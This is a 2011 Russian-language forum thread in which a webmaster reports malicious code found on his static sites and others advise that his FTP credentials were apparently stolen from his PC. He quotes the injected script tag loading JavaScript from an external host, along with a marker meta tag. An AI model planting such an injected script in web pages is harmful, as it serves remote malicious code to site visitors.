Обнаружен вредоносный код на сайте

Салоед · 12.04.2011, 21:18

День добрый панове.
Ситуация следующая. ЯВМ обнаружил вредоносный код на главных страницах некоторых моих сайтов. Все сайты статичные, на ХТМЛ и ЦСС. Пароли фтп-доступа известны только Сапе.
Вредоносный код я сразу увидел глазами, просмотрев код страниц. Вот он:

<script type="text/javascript" src="http://ist.net.tr/js.php"></script>

и вот еще:

<meta name='fd348c652c50e6a87fd1beef14fed626' content=''>



Вопрос: как это вообще возможно и где искать дыры?
Я просмотрел резервные копии файлов главных страниц у себя на компе, там этого кода нет.

SergejF · 12.04.2011, 21:22

Цитата:

Сообщение от Салоед

как это вообще возможно и где искать дыры?

Дыры ищите у себя в компьютере. фтп-клиентом каким пользуетесь?

Цитата:

Сообщение от Салоед

Пароли фтп-доступа известны только Сапе.

Врёте.

Салоед · 12.04.2011, 21:25

Ну кроме сапы еще и мне. Так, дыра точно у меня в компе. На сайте, который не в сапе тоже нашел вредоносный код. Пользуюсь старой файрзиллой. Что-то конкретное порекомендуете?

SergejF · 12.04.2011, 22:28

Цитата:

Сообщение от Салоед

Что-то конкретное порекомендуете?

Меняем пароли доступа, проверяем комп KIS с последними базами и CureIt, затем снова меняем пароли. Не на старые!

mirsobchak.ru · 12.04.2011, 23:52

было подобное, с тех пор практически ежедневно обновляю антивирусную базу

chahlic · 13.04.2011, 00:36

Цитата:

Сообщение от Салоед

Что-то конкретное порекомендуете?

И не хранить пароли в фтп-клиенте

12.04.2011, 21:18	#1
Салоед Специалист Регистрация: 15.10.2010 Сообщений: 462 Вес репутации: 185	Обнаружен вредоносный код на сайте День добрый панове. Ситуация следующая. ЯВМ обнаружил вредоносный код на главных страницах некоторых моих сайтов. Все сайты статичные, на ХТМЛ и ЦСС. Пароли фтп-доступа известны только Сапе. Вредоносный код я сразу увидел глазами, просмотрев код страниц. Вот он: <script type="text/javascript" src="http://ist.net.tr/js.php"></script> и вот еще: <meta name='fd348c652c50e6a87fd1beef14fed626' content=''> <!--8200A49E0C2ADFC6C33D295D0CFA6688--> Вопрос: как это вообще возможно и где искать дыры? Я просмотрел резервные копии файлов главных страниц у себя на компе, там этого кода нет.

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Вредоносный код на сайте. Подскажите.	Dorian	Яндекс	34	13.02.2011 21:30
На сайте, не участвующем в бирже sape обнаружен код!	dohtor2010	Вопросы по работе системы	3	05.11.2010 04:40
Вредоносный код	Maksim84	Яндекс	33	24.02.2010 14:08
Быстроробот обнаружен.	Smerch-M	Яндекс	9	20.08.2009 21:18
В космосе обнаружен логотип Firefox	tophis	Курилка	10	04.11.2008 11:01

12.04.2011, 21:25	#3
Салоед Специалист Регистрация: 15.10.2010 Сообщений: 462 Вес репутации: 185	Ну кроме сапы еще и мне. Так, дыра точно у меня в компе. На сайте, который не в сапе тоже нашел вредоносный код. Пользуюсь старой файрзиллой. Что-то конкретное порекомендуете?

12.04.2011, 23:52	#5
mirsobchak.ru Новичок Регистрация: 26.06.2009 Сообщений: 45 Вес репутации: 181	было подобное, с тех пор практически ежедневно обновляю антивирусную базу